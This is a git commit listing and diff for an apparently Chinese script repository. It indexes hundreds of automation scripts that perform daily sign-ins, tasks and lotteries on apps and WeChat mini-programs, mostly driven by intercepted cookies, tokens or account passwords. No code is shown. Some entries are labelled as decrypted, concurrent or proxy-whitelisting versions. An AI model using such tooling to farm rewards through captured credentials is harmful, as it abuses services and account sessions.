脚本库/web版/账密/奇瑞汽车/2026-05-14_chery_022b783a.js create mode 100644 脚本库/web版/账密/宝骏汽车视频/2025-06-28_宝骏汽车视频_6330e990.py create mode 100644 脚本库/web版/账密/宽带技术网/2025-08-25_chinadsl_db342b3d.js create mode 100644 脚本库/web版/账密/小米商城做任务/2025-08-25_mi_d69613f3.js create mode 100644 脚本库/web版/账密/少数派热榜/2025-08-25_ssphot_1e4b9eda.js create mode 100644 脚本库/web版/账密/希沃白板/2025-08-25_ql_easinote_ecd9a632.js create mode 100644 脚本库/web版/账密/广汽埃安/2025-06-28_广汽埃安_d765e765.js create mode 100644 脚本库/web版/账密/废文小说/2025-08-25_ql_fwxs_95659ed7.js create mode 100644 脚本库/web版/账密/微博热搜榜/2025-08-25_wbhot_04ee263f.js create mode 100644 脚本库/web版/账密/恩山无线论坛/2025-08-25_eswxlt_dc458728.js create mode 100644 脚本库/web版/账密/手机号归属地/2025-08-25_telgsd_45e96639.js create mode 100644 脚本库/web版/账密/抖音热搜榜/2025-08-25_dyhot_4af8123c.js create mode 100644 脚本库/web版/账密/挑战古诗词/2025-08-25_tzgsc_2717fabb.js create mode 100644 脚本库/web版/账密/无锡观察/2025-06-28_无锡观察_75d1a9e7.js create mode 100644 脚本库/web版/账密/日期提醒/2025-08-25_remind_a1656667.js create mode 100644 脚本库/web版/账密/早安问候语/2025-08-25_zaoan_22a29697.js create mode 100644 脚本库/web版/账密/星座运势/2025-08-25_xingzuo_fc96e27b.js create mode 100644 脚本库/web版/账密/星芽短剧脚本(解密版)/2025-06-28_星芽短剧脚本(解密版)_aa45bfb7.js create mode 100644 脚本库/web版/账密/晚安问候语/2025-08-25_wanan_b25f6959.js create mode 100644 脚本库/web版/账密/望潮/2025-06-28_望潮_e2d725b7.js create mode 100644 脚本库/web版/账密/望潮py版/2025-06-28_望潮py版_7e3e4c49.py create mode 100644 脚本库/web版/账密/望潮代理版/2025-06-28_望潮代理版_cfe0f499.py create mode 100644 脚本库/web版/账密/模板_修改这里/2025-08-25_TEMPLATE_ql_b4f0835b.js create mode 100644 脚本库/web版/账密/每天60秒读懂世界/2025-08-25_day60s_5a7eddd6.js create mode 100644 脚本库/web版/账密/游侠网/2025-06-28_游侠网_f8654a12.js create mode 100644 脚本库/web版/账密/熊猫网络/2025-08-25_xmdl_0cddb80d.js create mode 100644 脚本库/web版/账密/王者荣耀英雄介绍/2025-08-25_wangzhe_92cce1aa.js create mode 100644 脚本库/web版/账密/电信营业厅并发/2025-06-28_电信营业厅任务_f76f6ee3.js create mode 100644 脚本库/web版/账密/电信金豆换话费/2025-06-28_电信金豆换话费_7d539458.py create mode 100644 脚本库/web版/账密/电影票房排行/2025-08-25_piaofang_acba8c0f.js create mode 100644 脚本库/web版/账密/番茄免费小说/2025-06-28_番茄免费小说_d04dd54a.js create mode 100644 脚本库/web版/账密/百度收录/2025-08-25_bdsl_8027f638.js create mode 100644 脚本库/web版/账密/百度热搜榜/2025-08-25_bdhot_7149be26.js create mode 100644 脚本库/web版/账密/看雪论坛/2025-08-25_ql_kanxue_6aeb8664.js create mode 100644 脚本库/web版/账密/知乎热搜榜/2025-08-25_zhhot_4d73713f.js create mode 100644 脚本库/web版/账密/短网址生成/2025-08-25_dwz_74555928.js create mode 100644 脚本库/web版/账密/硬声/2026-05-14_yingsheng_2e324775.js create mode 100644 脚本库/web版/账密/神回复/2025-08-25_shenhuifu_2d02f196.js create mode 100644 脚本库/web版/账密/福田e家/2025-06-28_福田e家_2681de89.js create mode 100644 脚本库/web版/账密/科研通/2025-08-25_ql_kyt_1d04491e.js create mode 100644 脚本库/web版/账密/移动云盘/2025-06-28_移动云盘_4e6ef37b.py create mode 100644 脚本库/web版/账密/简繁体转换/2025-08-25_fjzh_246b5fc8.js create mode 100644 脚本库/web版/账密/米游社_原神签到/2025-06-28_米哈游_44eb1b9e.js create mode 100644 脚本库/web版/账密/经纬度解析/2025-08-25_lnglat_aa6d5e0b.js create mode 100644 脚本库/web版/账密/统一快乐星球茄皇/2026-05-14_qiehuang_678fa340.py create mode 100644 脚本库/web版/账密/罗技粉丝俱乐部/2025-06-28_罗技粉丝俱乐部_c45cd687.js create mode 100644 脚本库/web版/账密/联想延保签到/2025-06-28_联想延保签到_f8c349cc.py create mode 100644 脚本库/web版/账密/胖乖生活/2025-06-28_胖乖生活_104430b9.py create mode 100644 脚本库/web版/账密/腾讯视频/2025-06-28_腾讯视频_d184953f.js create mode 100644 脚本库/web版/账密/葫芦侠3楼/2025-08-25_huluxia_6233f109.js create mode 100644 脚本库/web版/账密/葫芦侠签到/2025-06-28_葫芦侠签到_e6c5a800.py create mode 100644 脚本库/web版/账密/蔚来签到/2026-05-14_weilai_c95486e9.js create mode 100644 脚本库/web版/账密/词霸每日一句/2025-08-25_ciba_43494f7f.js create mode 100644 脚本库/web版/账密/谜语/2025-08-25_miyu_1cb49542.js create mode 100644 脚本库/web版/账密/趣味笑话/2025-08-25_qwxh_f35da7e8.js create mode 100644 脚本库/web版/账密/阿里云盘签到/2026-05-14_aliyunpan_1c3e68b4.py create mode 100644 脚本库/web版/账密/随机一句一言/2025-08-25_oneyan_7ff4ea80.js create mode 100644 脚本库/web版/账密/随机二次元图片/2025-08-25_imgecy_ce2ad6d0.js create mode 100644 脚本库/web版/账密/随机唯美文案/2025-08-25_weimei_322bf127.js create mode 100644 脚本库/web版/账密/随机头像/2025-08-25_imgavatar_47fbd943.js create mode 100644 脚本库/web版/账密/随机封面/2025-08-25_imgcover_25d9b368.js create mode 100644 脚本库/web版/账密/随机手机壁纸/2025-08-25_imgphone_e286c802.js create mode 100644 脚本库/web版/账密/随机抽签/2025-08-25_chouq_59128372.js create mode 100644 脚本库/web版/账密/随机美句摘抄文案/2025-08-25_meiju_a45df7c7.js create mode 100644 脚本库/web版/账密/随机风景图片/2025-08-25_imglandscape_00e05d6b.js create mode 100644 脚本库/web版/账密/骚扰电话查询/2025-08-25_telsaorao_9008abed.js create mode 100644 脚本库/web版/账密/鸡汤/2025-08-25_jitang_eb7e749e.js create mode 100644 脚本库/微信小程序/抓包版/'remind',_note_'日期提醒工具',},/2025-08-25_UPDATE_891e820a.js create mode 100644 脚本库/微信小程序/抓包版/Babycare/2025-06-28_Babycare_4a2e1c44.py create mode 100644 脚本库/微信小程序/抓包版/CHERWIN_TOOLS/2025-06-28_CHERWIN_TOOLS_9a1e1439.py create mode 100644 脚本库/微信小程序/抓包版/DQ点单/2025-06-28_DQ点单_53161101.js create mode 100644 脚本库/微信小程序/抓包版/KSOEUR/2025-06-28_KSOEUR_dff489d3.py create mode 100644 脚本库/微信小程序/抓包版/babycare/2026-05-14_babycare_46258113.js create mode 100644 脚本库/微信小程序/抓包版/colorful七彩虹/2026-05-14_colorful_cf4ee821.js create mode 100644 脚本库/微信小程序/抓包版/golo汽修大师/2025-08-25_golo_6d8c719f.js create mode 100644 脚本库/微信小程序/抓包版/iqoo社区/2026-05-14_iqoo_43b07ea6.js create mode 100644 脚本库/微信小程序/抓包版/quanmianshidai/2026-05-14_quanmianshidai_56f3c63c.py create mode 100644 脚本库/微信小程序/抓包版/self.gift_list.appendgift_name/2025-06-28_爱奇艺_857e9674.py create mode 100644 脚本库/微信小程序/抓包版/steam游戏在线人数/2025-08-25_streamrank_34d2cdec.js create mode 100644 脚本库/微信小程序/抓包版/stokke小程序/2026-05-14_stokke_1e4d7ea7.js create mode 100644 脚本库/微信小程序/抓包版/str,_actparam_str_-_dict/2026-04-01_tianyi_b953df84.py create mode 100644 脚本库/微信小程序/抓包版/this官方商城/2025-06-28_this官方商城_7916a729.js create mode 100644 脚本库/微信小程序/抓包版/topspace/2025-06-28_topspace小程序_0c2cf24e.py create mode 100644 脚本库/微信小程序/抓包版/vx爷爷不泡茶/2025-06-28_爷爷不泡茶_2e5d48ac.js create mode 100644 脚本库/微信小程序/抓包版/vx麦斯威尔福利社/2025-06-28_vx麦斯威尔福利社_2d125158.js create mode 100644 脚本库/微信小程序/抓包版/wcs/2026-05-14_wcs_d9b348ca.js create mode 100644 脚本库/微信小程序/抓包版/zhanma/2026-05-14_zhanma_b8ab91bd.js create mode 100644 脚本库/微信小程序/抓包版/七彩虹商城/2025-06-28_七彩虹商城小程序_761e10f7.js create mode 100644 脚本库/微信小程序/抓包版/七点五饮用天然矿泉水/2025-06-28_七点五饮用天然矿泉水_d6fe4967.py create mode 100644 脚本库/微信小程序/抓包版/中国联通/2026-05-14_chinaUnicom_286fe16d.py create mode 100644 脚本库/微信小程序/抓包版/产地严选小程序/2025-06-28_产地严选小程序_f81d5d95.py create mode 100644 脚本库/微信小程序/抓包版/全棉时代/2025-06-28_全棉时代_78833e2a.js create mode 100644 脚本库/微信小程序/抓包版/兴攀农场/2025-08-25_xpnc_5f222c85.js create mode 100644 脚本库/微信小程序/抓包版/华住会/2025-08-25_ql_hzh_0b396713.js create mode 100644 脚本库/微信小程序/抓包版/华硕商城APP/2025-06-28_华硕商城每日抽奖_5317a9e9.js create mode 100644 脚本库/微信小程序/抓包版/卡士会员/2025-06-28_卡士会员_12456cea.js create mode 100644 脚本库/微信小程序/抓包版/卡池权益会员店/2025-06-28_卡池_7ffef781.js create mode 100644 脚本库/微信小程序/抓包版/古井贡酒会员中心小程序/2025-06-28_古井贡酒_aab5faf3.js create mode 100644 脚本库/微信小程序/抓包版/叮当快药/2026-04-08_ddsy_fe6024e5.js create mode 100644 脚本库/微信小程序/抓包版/可口可乐小程序/2026-05-14_kekoukele_a6adebfb.js create mode 100644 脚本库/微信小程序/抓包版/吉利银河/2026-04-01_jlyh_374b7879.js create mode 100644 脚本库/微信小程序/抓包版/国乐酱酒/2026-04-08_gyjj_89d63434.js create mode 100644 脚本库/微信小程序/抓包版/塔斯汀小程序签到/2026-05-14_tasiting_d32ead35.js create mode 100644 脚本库/微信小程序/抓包版/塔斯汀汉堡/2025-06-03_tsthb_607a26fc.py create mode 100644 脚本库/微信小程序/抓包版/奇点积分/2025-06-28_奇点积分_a8391dc9.py create mode 100644 脚本库/微信小程序/抓包版/好宝贝/2025-06-28_好宝贝_2194acca.py create mode 100644 脚本库/微信小程序/抓包版/媓钻小程序/2025-06-28_媓钻小程序_85b516e6.js create mode 100644 脚本库/微信小程序/抓包版/富士instax玩拍由我俱乐部/2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js create mode 100644 脚本库/微信小程序/抓包版/小天鹅/2025-06-28_小天鹅_73a76dd9.py create mode 100644 脚本库/微信小程序/抓包版/小猴工具小程序/2025-06-28_小猴工具小程序_23314730.js create mode 100644 脚本库/微信小程序/抓包版/小米社区小程序签到/2025-06-28_小米社区小程序签到_3c6fe4df.py create mode 100644 脚本库/微信小程序/抓包版/屈臣氏/2025-08-25_qcs_ab94ff3b.js create mode 100644 脚本库/微信小程序/抓包版/巨量ip_Sign/2025-06-28_巨量ip_Sign_0fe9136c.py create mode 100644 脚本库/微信小程序/抓包版/广汽丰田/2026-04-01_gqftbz_bb6ab4b5.js create mode 100644 脚本库/微信小程序/抓包版/广汽传祺/2025-06-28_gacmotor_a6c7c219.js create mode 100644 脚本库/微信小程序/抓包版/康师傅畅饮社/2026-05-14_kangshifu_73bda636.js create mode 100644 脚本库/微信小程序/抓包版/得物/2025-06-28_得无开源_d10a36e3.js create mode 100644 脚本库/微信小程序/抓包版/得物0元抽/2026-04-08_dw_643756c6.js create mode 100644 脚本库/微信小程序/抓包版/微信小程序_-_美的会员/2026-04-01_wx_midea_2ea2d16b.js create mode 100644 脚本库/微信小程序/抓包版/微信小程序虔金E站/2025-06-28_微信小程序虔金E站_e1e429fa.js create mode 100644 脚本库/微信小程序/抓包版/心喜小程序/2026-05-14_xinxi_97216722.js create mode 100644 脚本库/微信小程序/抓包版/慕思/2025-06-28_慕思_3ee7b04e.js create mode 100644 脚本库/微信小程序/抓包版/慕斯小程序签到/2026-05-14_musi_42ce9bc0.js create mode 100644 脚本库/微信小程序/抓包版/所有女生会员中心/2025-06-28_所有女生小程序_a6033b11.js create mode 100644 脚本库/微信小程序/抓包版/植白说小程序/2026-04-09_zbs_478003ec.js create mode 100644 脚本库/微信小程序/抓包版/欢太商城/2025-06-28_欢太商城_2cc34369.py create mode 100644 脚本库/微信小程序/抓包版/波司登小程序/2025-06-28_波司登_8f296880.js create mode 100644 脚本库/微信小程序/抓包版/活力伊利小程序/2026-05-14_hlyl_eaf5ac9b.js create mode 100644 脚本库/微信小程序/抓包版/浓五的酒馆/2026-05-14_nwdjg_6f50bb3e.js create mode 100644 脚本库/微信小程序/抓包版/海天美味馆小程序/2025-06-28_海天美味馆_ce5a14cb.js create mode 100644 脚本库/微信小程序/抓包版/海天美味馆小程序/2026-05-14_haitian_460af5d6.js create mode 100644 脚本库/微信小程序/抓包版/海尔智家/2025-06-28_海尔_e0ba0d26.js create mode 100644 脚本库/微信小程序/抓包版/海尔智家/2026-05-14_hezj_88376ece.js create mode 100644 脚本库/微信小程序/抓包版/海底捞/2026-04-07_hdl_6ef2ae22.js create mode 100644 脚本库/微信小程序/抓包版/滴滴果园/2025-06-28_滴滴果园_f54487a2.py create mode 100644 脚本库/微信小程序/抓包版/滴滴果园大佬的我用不了/2025-06-03_ddgy_36740532.py create mode 100644 脚本库/微信小程序/抓包版/潇洒桐庐/2025-06-28_潇洒桐庐_b94d00d2.js create mode 100644 脚本库/微信小程序/抓包版/潇洒桐庐/2026-05-14_xiaosatonglu_7a55d833.js create mode 100644 脚本库/微信小程序/抓包版/点点兼职/2025-06-28_点点兼职_08d0c3dd.js create mode 100644 脚本库/微信小程序/抓包版/爱玛会员俱乐部/2025-06-28_爱玛会员俱乐部_b27f0206.js create mode 100644 脚本库/微信小程序/抓包版/牙博士口腔微商城/2025-06-28_牙博士口腔微商城_c59a947a.js create mode 100644 脚本库/微信小程序/抓包版/瑷尔博士官方云商城/2025-06-28_瑷尔博士_9b3eaec2.js create mode 100644 脚本库/微信小程序/抓包版/益禾堂/2026-04-12_yht_3f2d67f0.js create mode 100644 脚本库/微信小程序/抓包版/盖瑞特后市场/2025-06-28_盖瑞特后市场_b29d74fc.js create mode 100644 脚本库/微信小程序/抓包版/睿蓝汽车/2026-04-01_ruilanCar_bbf9ecc4.js create mode 100644 脚本库/微信小程序/抓包版/立乐家会员俱乐部/2026-04-08_llj_268c1523.js create mode 100644 脚本库/微信小程序/抓包版/米其林会员小程序/2026-05-14_miqilin_62de3bde.js create mode 100644 脚本库/微信小程序/抓包版/红旗智联/2025-06-28_红旗智联_c676b0c8.js create mode 100644 脚本库/微信小程序/抓包版/统一抽奖大集结/2025-06-28_统一_8487b153.js create mode 100644 脚本库/微信小程序/抓包版/美孚/2025-06-28_美孚_8e3199b6.js create mode 100644 脚本库/微信小程序/抓包版/联通和沃畅游密码登录/2025-06-28_联通获取ck_a5eef486.py create mode 100644 脚本库/微信小程序/抓包版/臭宝乐园/2025-06-28_臭宝乐园_abd99e11.js create mode 100644 脚本库/微信小程序/抓包版/臭宝乐园/2026-05-14_choubao_5bbd98d8.js create mode 100644 脚本库/微信小程序/抓包版/荷叶健康小程序/2026-05-14_hyjk_fafd24e8.js create mode 100644 脚本库/微信小程序/抓包版/蓝式宠物/2025-06-28_蓝式宠物_57deb499.py create mode 100644 脚本库/微信小程序/抓包版/蜜雪冰城/2026-05-14_mxbc_68b9441a.js create mode 100644 脚本库/微信小程序/抓包版/西施眼/2025-06-28_西施眼_9132a43e.js create mode 100644 脚本库/微信小程序/抓包版/谢瑞麟小程序签到/2026-05-14_tslj_28f4e466.js create mode 100644 脚本库/微信小程序/抓包版/谷雨小程序/2026-05-14_guyu_ef65b269.js create mode 100644 脚本库/微信小程序/抓包版/起飞线生活/2025-06-28_起飞线_9bbd059d.js create mode 100644 脚本库/微信小程序/抓包版/达美乐/2025-06-28_达美乐_ac7dcacb.py create mode 100644 脚本库/微信小程序/抓包版/达美乐短信认证/2025-06-28_达美乐短信认证_435e1f0c.py create mode 100644 脚本库/微信小程序/抓包版/逑美_薇诺娜专柜小程序/2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js create mode 100644 脚本库/微信小程序/抓包版/途虎养车/2025-06-28_途虎养车_d3128030.js create mode 100644 脚本库/微信小程序/抓包版/逢三得利吧/2025-06-28_逢三得利吧_4e59c90a.js create mode 100644 脚本库/微信小程序/抓包版/逢三得利吧小程序/2026-05-14_fsdlb_c9dc848c.js create mode 100644 脚本库/微信小程序/抓包版/酷瓜/2025-06-28_酷瓜_f2c605f7.py create mode 100644 脚本库/微信小程序/抓包版/金杜丹小程序/2025-06-28_金杜丹_224fde1a.py create mode 100644 脚本库/微信小程序/抓包版/长虹智慧家居每日签到/2026-05-14_changhongmeiling_abc462ca.py create mode 100644 脚本库/微信小程序/抓包版/长虹美菱/2025-06-28_长虹美菱_9c11ffd0.py create mode 100644 脚本库/微信小程序/抓包版/雪花勇闯天涯/2025-06-28_勇闯天涯superX_c2490fa1.js create mode 100644 脚本库/微信小程序/抓包版/霸王茶几/2025-06-28_霸王茶几_5f665c80.py create mode 100644 脚本库/微信小程序/抓包版/霸王茶姬签到/2025-06-28_霸王茶姬_9912dbbd.py create mode 100644 脚本库/微信小程序/抓包版/顺丰端午版本/2025-06-03_顺丰端午版本_155fe229.py create mode 100644 脚本库/微信小程序/抓包版/顺丰速运/2025-06-03_SFSY_9380501b.py create mode 100644 脚本库/微信小程序/抓包版/顺丰速运/2025-06-28_顺丰速运_435a23dd.py create mode 100644 脚本库/微信小程序/抓包版/顺丰速运日常任务/2026-05-14_sfsy_be659945.py create mode 100644 脚本库/微信小程序/抓包版/顾家家居/2025-06-28_顾家家居_a31d0967.js create mode 100644 脚本库/微信小程序/抓包版/骁龙骁友会/2026-04-07_wx_xlxyh_54797296.js create mode 100644 脚本库/微信小程序/抓包版/高济健康pro小程序签到/2025-06-28_高济健康_53c56682.js create mode 100644 脚本库/微信小程序/抓包版/鸿星尔克签到/2026-04-01_erke_c82ab68b.py create mode 100644 脚本库/微信小程序/抓包版/麦斯威尔福利社小程序/2026-05-14_maisiweier_a234b70b.js create mode 100644 脚本库/未分类/更新IP代理白名单/2025-06-28_IP代理自动加白名单_43bd456d.py diff --git a/.gitignore b/.gitignore index 59d3668..23b51fd 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # runtime/cache metadata/collector_cache.json +metadata/seed_repos/ __pycache__/ *.pyc diff --git a/INDEX.csv b/INDEX.csv index f7fa05b..3d1cf46 100644 --- a/INDEX.csv +++ b/INDEX.csv @@ -1,4 +1,5 @@ category,project,filename,sha256,source_platform,source_repo,source_path,source_url,raw_url,uploaded_at,saved_path,auth_type,platform_type,evidence +APP版/抓包,3_查询商品商店信息,2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py,029d5d6421f5a3432bb04e3040139b27ff23131bba02594dfb2d8391b12992fd,GitHub,AkenClub/ken-iMoutai-Script,3_retrieve_shop_and_product_info.py,https://github.com/AkenClub/ken-iMoutai-Script/blob/main/3_retrieve_shop_and_product_info.py,https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/3_retrieve_shop_and_product_info.py,2025-11-20T09:54:34+08:00,脚本库/APP版/抓包/3_查询商品商店信息/2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py,抓包,APP版,cookie/token/authorization/header APP版/抓包,AIPM中转站,2026-03-13_AiPm_125ff6e4.py,125ff6e463e1279559086f8786cc3a4987223ac41d2923be61bb587ea8e17e5f,GitHub,back-101/zyqinglong,AiPm.py,https://github.com/back-101/zyqinglong/blob/main/AiPm.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/AiPm.py,2026-03-13T04:15:05Z,脚本库/APP版/抓包/AIPM中转站/2026-03-13_AiPm_125ff6e4.py,抓包,APP版,cookie/token/authorization/header APP版/抓包,DGB中转站,2026-04-01_DGB_088295b0.py,088295b00248471126407a7c10abdee790c1800cca0349f240ef4847bb36a7e8,GitHub,back-101/zyqinglong,DGB.py,https://github.com/back-101/zyqinglong/blob/main/DGB.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/DGB.py,2026-04-01T04:49:35Z,脚本库/APP版/抓包/DGB中转站/2026-04-01_DGB_088295b0.py,抓包,APP版,cookie/token/authorization/header APP版/抓包,HelloGitHub月刊,2026-05-23_HelloGithub_041c8425.py,041c84250a0164d2dd96a531bc3bb7a90a4a49ee508c39952a74641b319915f2,GitHub,CN-Grace/QinglongScripts,HelloGithub.py,https://github.com/CN-Grace/QinglongScripts/blob/main/HelloGithub.py,https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/HelloGithub.py,2026-05-23T15:48:24Z,脚本库/APP版/抓包/HelloGitHub月刊/2026-05-23_HelloGithub_041c8425.py,抓包,APP版,cookie/token/authorization/header @@ -7,96 +8,370 @@ APP版/抓包,SSL证书检查,2026-05-23_SSL_c1f33bef.py,c1f33bef544c897a6d3ea4c APP版/抓包,Z-API中转站,2026-03-13_Z-API_2978ef59.py,2978ef593177e01cc1909a0a71d714a837f3b049687027380de321bfe641634b,GitHub,back-101/zyqinglong,Z-API.py,https://github.com/back-101/zyqinglong/blob/main/Z-API.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/Z-API.py,2026-03-13T04:15:05Z,脚本库/APP版/抓包/Z-API中转站/2026-03-13_Z-API_2978ef59.py,抓包,APP版,cookie/token/authorization/header APP版/抓包,"config.aiwu.AppPackageName_com.aiwu.market_,",2025-12-09_aw_e1df8578.js,e1df85787b7fee88ca6371dad4e14db2a71e331346b733c8bd50a4f762080297,GitHub,Wenmoux/checkbox,scripts/aw.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/aw.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/aw.js,2025-12-09T08:05:01Z,"脚本库/APP版/抓包/config.aiwu.AppPackageName_com.aiwu.market_,/2025-12-09_aw_e1df8578.js",抓包,APP版,cookie/token/authorization/header APP版/抓包,content,2026-05-19_content_45c4e352.js,45c4e3523ff88ee080e76c2c8b635c4a14657f9f97fa395d368b9bccf09b4bca,GitHub,huwangkeji/juejin_checkin,juejin-extension/content.js,https://github.com/huwangkeji/juejin_checkin/blob/main/juejin-extension/content.js,https://raw.githubusercontent.com/huwangkeji/juejin_checkin/main/juejin-extension/content.js,2026-05-19T14:34:11Z,脚本库/APP版/抓包/content/2026-05-19_content_45c4e352.js,抓包,APP版,cookie/token/authorization/header +APP版/抓包,env,2026-04-07_env_89a06fae.js,89a06fae1893022eebe3efe869870ddd87549ddaf1cd158c369060a81934cef9,GitHub,smallfawn/QLScriptPublic,tools/env.js,https://github.com/smallfawn/QLScriptPublic/blob/main/tools/env.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tools/env.js,2026-04-07T12:33:25Z,脚本库/APP版/抓包/env/2026-04-07_env_89a06fae.js,抓包,APP版,cookie/token/authorization/header APP版/抓包,hscy,2023-04-01_hscy_de58e1b4.js,de58e1b4fb5c45c288f630776a7b58c5712594cc73b6e9a86b3124759fdcb146,GitHub,Wenmoux/checkbox,scripts/hscy.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/hscy.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/hscy.js,2023-04-01T13:17:21Z,脚本库/APP版/抓包/hscy/2023-04-01_hscy_de58e1b4.js,抓包,APP版,cookie/token/authorization/header APP版/抓包,ldygo,2021-04-16_ldygo_1c2bfc75.js,1c2bfc752df7a9d5a50a1d06e382a940c6fea22656b67da275952fe8e61aed6a,GitHub,Wenmoux/checkbox,scripts/ldygo.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/ldygo.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/ldygo.js,2021-04-16T00:43:18Z,脚本库/APP版/抓包/ldygo/2021-04-16_ldygo_1c2bfc75.js,抓包,APP版,cookie/token/authorization/header APP版/抓包,lkong,2021-04-16_lkong_31125817.js,31125817fbd89450962eccb39bdd21d8768afc609a6b7b50c59ae078e842da40,GitHub,Wenmoux/checkbox,scripts/lkong.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/lkong.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/lkong.js,2021-04-16T00:43:18Z,脚本库/APP版/抓包/lkong/2021-04-16_lkong_31125817.js,抓包,APP版,cookie/token/authorization/header APP版/抓包,nga,2022-12-29_nga_a31a39d2.js,a31a39d2686a445bba1c94e9887a51f92854932d575a45c27bf8c7ab35850ea9,GitHub,Wenmoux/checkbox,scripts/nga.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/nga.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/nga.js,2022-12-29T07:44:16Z,脚本库/APP版/抓包/nga/2022-12-29_nga_a31a39d2.js,抓包,APP版,cookie/token/authorization/header APP版/抓包,ssly,2024-02-15_ssly_c6789fe7.js,c6789fe7074c540cd5425bfa4cc2b8b89942eda9f52d6fd931eefb9c42c4f19d,GitHub,Wenmoux/checkbox,scripts/ssly.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/ssly.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/ssly.js,2024-02-15T10:01:01Z,脚本库/APP版/抓包/ssly/2024-02-15_ssly_c6789fe7.js,抓包,APP版,cookie/token/authorization/header +APP版/抓包,万家乐,2025-06-28_万家乐_1adde720.py,1adde72027d2e2407e706ee56bc7821d9a59d7ee9b9729563ba68d0b55e6d593,GitHub,jdqlscript/toulu,万家乐.py,https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%87%E5%AE%B6%E4%B9%90.py,https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%87%E5%AE%B6%E4%B9%90.py,2025-06-28T11:18:42+08:00,脚本库/APP版/抓包/万家乐/2025-06-28_万家乐_1adde720.py,抓包,APP版,cookie/token/authorization/header +APP版/抓包,北京现代,2026-04-02_bjxd_a680cf46.py,a680cf465f0ac16d7a83b7b70762ad13ce94b713829255df0a6390cfde87402e,GitHub,smallfawn/QLScriptPublic,daily/bjxd.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/bjxd.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/bjxd.py,2026-04-02T02:22:19Z,脚本库/APP版/抓包/北京现代/2026-04-02_bjxd_a680cf46.py,抓包,APP版,cookie/token/authorization/header APP版/抓包,发财网API中转站,2026-03-16_FCAPI_8f67b1f1.py,8f67b1f15f44591d48f12216dc4a28f781ba25b80af1c1cbc321af55f46c983f,GitHub,back-101/zyqinglong,FCAPI.py,https://github.com/back-101/zyqinglong/blob/main/FCAPI.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/FCAPI.py,2026-03-16T04:42:35Z,脚本库/APP版/抓包/发财网API中转站/2026-03-16_FCAPI_8f67b1f1.py,抓包,APP版,cookie/token/authorization/header +APP版/抓包,夸克自动签到,2026-05-14_quark_6ffca99d.py,6ffca99dbbda1318e011f003244908a1c83db172b3549699b254b309b0fe5a00,GitHub,smallfawn/QLScriptPublic,daily/quark.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/quark.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/quark.py,2026-05-14T17:47:57+08:00,脚本库/APP版/抓包/夸克自动签到/2026-05-14_quark_6ffca99d.py,抓包,APP版,cookie/token/authorization/header APP版/抓包,快手极速版,2026-05-11_ks_jisu_v2_6c164355.js,6c164355e9dcbf37d7d986fc3f10e55ea900cf0fd22b4b809918234015da5e82,GitHub,DearSong15/ql-scripts,ks_jisu_v2.js,https://github.com/DearSong15/ql-scripts/blob/main/ks_jisu_v2.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/ks_jisu_v2.js,2026-05-11T15:03:30Z,脚本库/APP版/抓包/快手极速版/2026-05-11_ks_jisu_v2_6c164355.js,抓包,APP版,cookie/token/authorization/header APP版/抓包,"鱼C论坛_,",2021-09-25_fishc_2fcb72b6.js,2fcb72b6b50e8095d2fbe70f2e3fc123bb687b34ac7d77f189d7bbd37f4a7a09,GitHub,Wenmoux/checkbox,scripts/fishc.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/fishc.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/fishc.js,2021-09-25T00:15:59Z,"脚本库/APP版/抓包/鱼C论坛_,/2021-09-25_fishc_2fcb72b6.js",抓包,APP版,cookie/token/authorization/header +APP版/账密,1_获取登录验证码,2025-11-20_1_generate_code_8c9e80a6.py,8c9e80a6466a2291a043e5852ed029aa0d610a9f58974757a3b82c4ecd675d34,GitHub,AkenClub/ken-iMoutai-Script,1_generate_code.py,https://github.com/AkenClub/ken-iMoutai-Script/blob/main/1_generate_code.py,https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/1_generate_code.py,2025-11-20T09:54:34+08:00,脚本库/APP版/账密/1_获取登录验证码/2025-11-20_1_generate_code_8c9e80a6.py,账密,APP版,username/password/mobile/login +APP版/账密,2_登录,2025-11-20_2_login_15377770.py,153777702f935023b805885108b95cc7ecbd1b8f473d6024e20a4f594909fcba,GitHub,AkenClub/ken-iMoutai-Script,2_login.py,https://github.com/AkenClub/ken-iMoutai-Script/blob/main/2_login.py,https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/2_login.py,2025-11-20T09:54:34+08:00,脚本库/APP版/账密/2_登录/2025-11-20_2_login_15377770.py,账密,APP版,username/password/mobile/login 